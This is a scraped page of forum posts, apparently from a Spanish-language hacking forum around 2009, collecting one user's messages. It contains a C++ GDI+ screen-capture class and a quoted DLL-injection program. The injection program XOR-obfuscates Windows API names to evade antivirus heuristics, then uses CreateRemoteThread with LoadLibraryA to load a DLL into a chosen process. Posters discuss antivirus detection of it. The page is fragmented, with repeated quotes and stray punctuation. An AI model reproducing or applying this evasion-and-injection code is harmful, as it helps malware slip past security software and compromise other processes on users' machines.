Cita de: Karcrack en 29 Diciembre 2009, 15:01 PM
Pudiste al final cargar la DLL?
Cargada y funcionando
. A ver si alguien puede mejorar la clase haciendo que sea más rápida, GDI+ deja mucho que desear en cuanto a velocidad
.Saludos
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCita de: Karcrack en 29 Diciembre 2009, 15:01 PM
Pudiste al final cargar la DLL?
. A ver si alguien puede mejorar la clase haciendo que sea más rápida, GDI+ deja mucho que desear en cuanto a velocidad
.
.
.
. Hace una captura de pantalla y la comprime a JPEG (o PNG, con cambiar una línea se pueden elegir otros formatos) en memoria, por lo que es más rápido que otros códigos que guardan la captura en disco. Espero que a alguien le sirva
.
//---------------------------------------------------------------------------------------------------------
//Autor: Hacker_Zero
//Fecha: 29-12-09
//Descripción: Clase ClsScreenShot, captura de pantalla comprimida en diferentes formatos
//GDI+: Incuído en Windows XP o superior
//Código liberado bajo la GNU Public License (GPL) <http://www.gnu.org/licenses/gpl-3.0.html>
//---------------------------------------------------------------------------------------------------------
#ifndef SCREENSHOT_H
#define SCREENSHOT_H
#include <windows.h>
#include <gdiplus.h>
using namespace Gdiplus;
class cScreenShot
{
public:
cScreenShot();
~cScreenShot();
HBITMAP CrearCapturaPantalla(DWORD dwLeft,DWORD dwTop,DWORD dwRight,DWORD dwBottom);
CLSID GetEncoder(WCHAR* lpEnconder);
LPSTR ComprimirImagen(HBITMAP hBitmap);
VOID GuardarImagen(LPSTR lpFileName,LPSTR lpImage,DWORD ImageSize);
DWORD ImageSize;
RECT RC;
private:
GdiplusStartupInput GDIStartup;
unsigned long GDIToken;
EncoderParameters EP;
ImageCodecInfo* ICI;
CLSID Codec;
IStream* lpIStream;
unsigned int Codecs;
unsigned int CodecSize;
HDC hDC;
HDC hCCDC;
HBITMAP hBitmap;
HBITMAP hOldBitmap;
ULARGE_INTEGER StreamSize;
LARGE_INTEGER StreamSeek;
ULONG Read;
DWORD dwRead;
LPSTR lpBuffer;
HANDLE hFile;
};
#endif
#include "ClsScreenShot.h"
cScreenShot::cScreenShot()
{
GdiplusStartup(&GDIToken,&GDIStartup,0);
GetWindowRect(GetDesktopWindow(),&RC);
}
cScreenShot::~cScreenShot()
{
GdiplusShutdown(GDIToken);
}
HBITMAP cScreenShot::CrearCapturaPantalla(DWORD dwLeft,DWORD dwTop,DWORD dwRight,DWORD dwBottom)
{
hDC=CreateDCA("DISPLAY",0,0,0);
hCCDC=CreateCompatibleDC(hDC);
hBitmap=CreateCompatibleBitmap(hDC,dwRight,dwBottom);
hOldBitmap=(HBITMAP)SelectObject(hCCDC,hBitmap);
BitBlt(hCCDC,0,0,dwRight,dwBottom,hDC,dwLeft,dwTop,SRCCOPY);
DeleteDC(hDC);
DeleteDC(hCCDC);
return hBitmap;
}
CLSID cScreenShot::GetEncoder(WCHAR* lpEnconder)
{
GetImageEncodersSize(&Codecs,&CodecSize);
ICI=(ImageCodecInfo*)GlobalAlloc(GPTR,CodecSize);
GetImageEncoders(Codecs,CodecSize,ICI);
for(DWORD i=1;wcscmp(ICI[i-1].MimeType,lpEnconder);i++)
{
Codec=ICI[i].Clsid;
}
GlobalFree(ICI);
return Codec;
}
LPSTR cScreenShot::ComprimirImagen(HBITMAP hBitmap)
{
Bitmap bmp(hBitmap,NULL);
CreateStreamOnHGlobal(NULL,TRUE,(LPSTREAM*)&lpIStream);
Codec=GetEncoder(L"image/jpeg");
//~Codec=GetEncoder(L"image/png"); ~//
EncoderParameters EP;
DWORD Quality=40;
EP.Count=1;
EP.Parameter[0].NumberOfValues=1;
EP.Parameter[0].Guid=EncoderQuality;
EP.Parameter[0].Type=EncoderParameterValueTypeLong;
EP.Parameter[0].Value=&Quality;
//bmp.SetResolution(550,600);
bmp.Save(lpIStream,&Codec,&EP);
StreamSeek.QuadPart=0;
lpIStream->Seek(StreamSeek,STREAM_SEEK_END,&StreamSize);
lpIStream->Seek(StreamSeek,STREAM_SEEK_SET,NULL);
lpBuffer=(LPSTR)GlobalAlloc(GPTR,(SIZE_T)StreamSize.QuadPart);
lpIStream->Read(lpBuffer,(ULONG)StreamSize.QuadPart,&Read);
ImageSize=(DWORD)Read;
return lpBuffer;
}
VOID cScreenShot::GuardarImagen(LPSTR lpFileName,LPSTR lpImage,DWORD ImageSize)
{
hFile=CreateFileA(lpFileName,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_WRITE|FILE_SHARE_READ,0,CREATE_ALWAYS,0,0);
WriteFile(hFile,lpImage,ImageSize,&dwRead,0);
CloseHandle(hFile);
}
ClsScreenShot miScreenShot;
//Creamos una captura
HBITMAP hBitmap=miScreenShot.CrearCapturaPantalla(miScreenShot.RC.left,miScreenShot.RC.top,miScreenShot.RC.right,miScreenShot.RC.bottom);
//Convertimos el Bitmap a Jpeg
LPSTR JpegImage=miScreenShot.ComprimirImagen(hBitmap);
//La guardamos en disco
miScreenShot.GuardarImagen("C:\\captura.jpeg",JpegImage,miScreenShot.ImageSize);
Cita de: emirkenny en 21 Diciembre 2009, 19:15 PM
ok pero ese code me serviria si solo lo pego?
osea lo pego y no le nesesito modificar algo mas?
.
.
.Cita de: topoman en 13 Diciembre 2009, 18:52 PM
Perdon por subir un tema de Junio...
He estado haciendo pruebas con el EncryptApi de E0N y el Kapersky 2010 me lo detecta por heurística. ¿Como es posible? Tanto han evolucionado los AVs o se me escapa algo. ¿Como lo pueden detectar, si en realidad no se llama a la función sino que se hace un JMP... ?// crypt.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include "EncryptApi.hpp"
void xor(char *str, const char *clave, const int tamStr, const int tamClave)
{
for(int n=0; n<=tamStr; n++) str[n] ^= clave[n%tamClave];
}
void EnableDebugPriv( void )
{
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
OpenProcessToken( GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken );
LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue );
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL );
CloseHandle( hToken );
}
void main(int argc, char* argv[]) {
// Encriptacion de cadenas
const char key[] = "df5DF4s";
const int tamKey = 7;
char strCreateRemoteThread[] = { 0x27, 0x14, 0x50, 0x25, 0x32, 0x51, 0x21, 0x1, 0xb, 0x5a, 0x30, 0x23, 0x60, 0x1b, 0x16, 0x3, 0x54, 0x20, 0x46 };
char strWriteProcessMemory[] = { 0x33, 0x14, 0x5c, 0x30, 0x23, 0x64, 0x1, 0xb, 0x5, 0x50, 0x37, 0x35, 0x79, 0x16, 0x9, 0x9, 0x47, 0x3d, 0x46 };
char strVirtualAllocEx[] = { 0x32, 0xf, 0x47, 0x30, 0x33, 0x55, 0x1f, 0x25, 0xa, 0x59, 0x2b, 0x25, 0x71, 0xb, 0x64 };
char strOpenProcess[] = { 0x2b, 0x16, 0x50, 0x2a, 0x16, 0x46, 0x1c, 0x7, 0x3, 0x46, 0x37, 0x46 };
char strGetModuleHandleA[] = { 0x23, 0x3, 0x41, 0x9, 0x29, 0x50, 0x6, 0x8, 0x3, 0x7d, 0x25, 0x28, 0x50, 0x1f, 0x1, 0x27, 0x35 };
char strGetProcAddress[] = { 0x23, 0x3, 0x41, 0x14, 0x34, 0x5b, 0x10, 0x25, 0x2, 0x51, 0x36, 0x23, 0x47, 0x0, 0x64 };
char strCloseHandle[] = { 0x27, 0xa, 0x5a, 0x37, 0x23, 0x7c, 0x12, 0xa, 0x2, 0x59, 0x21, 0x46 };
char strKernel32[] = { 0x2f, 0x3, 0x47, 0x2a, 0x23, 0x58, 0x40, 0x56, 0x48, 0x51, 0x28, 0x2a, 0x34 };
xor(strCreateRemoteThread, key, sizeof(strCreateRemoteThread)-1, tamKey);
xor(strWriteProcessMemory, key, sizeof(strWriteProcessMemory)-1, tamKey);
xor(strVirtualAllocEx, key, sizeof(strVirtualAllocEx)-1, tamKey);
xor(strOpenProcess, key, sizeof(strOpenProcess)-1, tamKey);
xor(strGetModuleHandleA, key, sizeof(strGetModuleHandleA)-1, tamKey);
xor(strGetProcAddress, key, sizeof(strGetProcAddress)-1, tamKey);
xor(strCloseHandle, key, sizeof(strCloseHandle)-1, tamKey);
xor(strKernel32, key, sizeof(strKernel32)-1, tamKey);
EncryptApi<HANDLE> myOpenProcess (strOpenProcess, strKernel32, 5);
EncryptApi<HMODULE> myGetModuleHandle (strGetModuleHandleA, strKernel32, 5);
EncryptApi<FARPROC> myGetProcAddress (strGetProcAddress, strKernel32, 5);
EncryptApi<LPVOID> myVirtualAllocEx (strVirtualAllocEx, strKernel32, 7);
EncryptApi<BOOL> myWriteProcessMemory (strWriteProcessMemory, strKernel32, 5);
EncryptApi<HANDLE> myCreateRemoteThread (strCreateRemoteThread, strKernel32, 5);
EncryptApi<BOOL> myCloseHandle (strCloseHandle, strKernel32, 5);
// get PID
if (argc < 2)
{
printf( "Introduce PID in the first arg.\n");
return ;
}
int pid = atoi(argv[1]);
printf("PID=%d\n" ,pid);
EnableDebugPriv();
// Inyeccion dll
HANDLE proceso;
LPVOID RemoteString;
LPVOID nLoadLibrary;
char rutaDll[] = "C:\\HPA\\RK\\testDll.dll";
proceso = myOpenProcess(3,PROCESS_ALL_ACCESS, false, pid);
nLoadLibrary = (LPVOID)myGetProcAddress(2,myGetModuleHandle(1,"kernel32.dll"),"LoadLibraryA");
RemoteString = (LPVOID)myVirtualAllocEx(5,proceso,NULL,strlen(rutaDll),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
myWriteProcessMemory(5,proceso,(LPVOID)RemoteString,rutaDll,strlen(rutaDll),NULL);
myCreateRemoteThread(7,proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
myCloseHandle(1,proceso);
}
.
. Lo mejor es que intentes hacer uno de 0 basándote en ese, ya que no es un código ejemplar
.
.